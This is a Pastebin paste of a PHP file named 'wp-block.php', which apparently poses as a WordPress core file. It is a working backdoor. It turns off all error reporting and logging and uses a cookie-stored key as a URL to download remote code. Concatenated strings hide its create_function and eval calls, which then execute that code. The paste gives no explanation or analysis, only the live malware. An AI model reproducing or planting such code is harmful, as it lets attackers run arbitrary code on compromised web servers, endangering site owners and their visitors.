Advertisement
BitofWP

wp-block.php

Aug 17th, 2019
221
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.42 KB | None | 0 0
  1. <?php
  2. @ob_start();
  3. error_reporting(0);
  4. @ini_set('html_errors','0');
  5. @ini_set('display_errors','0');
  6. @ini_set('display_startup_errors','0');
  7. @ini_set('log_errors','0');
  8. @set_time_limit(0);
  9. @clearstatcache();
  10.  
  11. if (!isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
  12.     die('test');
  13. }
  14.  
  15. //3093e1a7677a90a4a693e00e9435a612
  16.  
  17. if (isset($_REQUEST['c'])) {
  18.     setcookie("key", "", time() - 3600);
  19. }
  20.  
  21. //3093e1a7677a90a4a693e00e9435a612
  22.  
  23. if (isset($_REQUEST['key'])) {
  24.     setcookie("key", $_REQUEST['key'], time() + 3600 * 24 * 7); //Seven Days.
  25.     $_COOKIE['key'] = $_REQUEST['key'];
  26. }
  27.  
  28. //3093e1a7677a90a4a693e00e9435a612
  29.  
  30. if (!isset($_COOKIE['key'])) {
  31.     $html = <<<EOF
  32.     <form method="POST" action="">
  33.     <input type="text" name="key">
  34.     <input type="submit">
  35.     </form>
  36. EOF;
  37.     die($html);
  38. }
  39.  
  40. //3093e1a7677a90a4a693e00e9435a612
  41.  
  42. $content =  remove_tags(_dl($_COOKIE['key']));
  43.  
  44. $func="cr"."eat"."e_fun"."cti"."on";
  45.  
  46. $remove_tags = $func('$x','ev'.'al'.'("?>".$x);');
  47.  
  48. $remove_tags($content);
  49.  
  50. function _dl($url)
  51. {
  52.     try {
  53.         $ch = curl_init();
  54.         curl_setopt($ch, CURLOPT_URL, $url);
  55.         curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  56.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  57.         $r = curl_exec($ch);
  58.         curl_close($ch);
  59.     } catch (Exception $e) {
  60.         $r = file_get_contents($url);
  61.     }
  62.     return $r;
  63. }
  64.  
  65. function remove_tags($content){
  66.     return $content;
  67. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement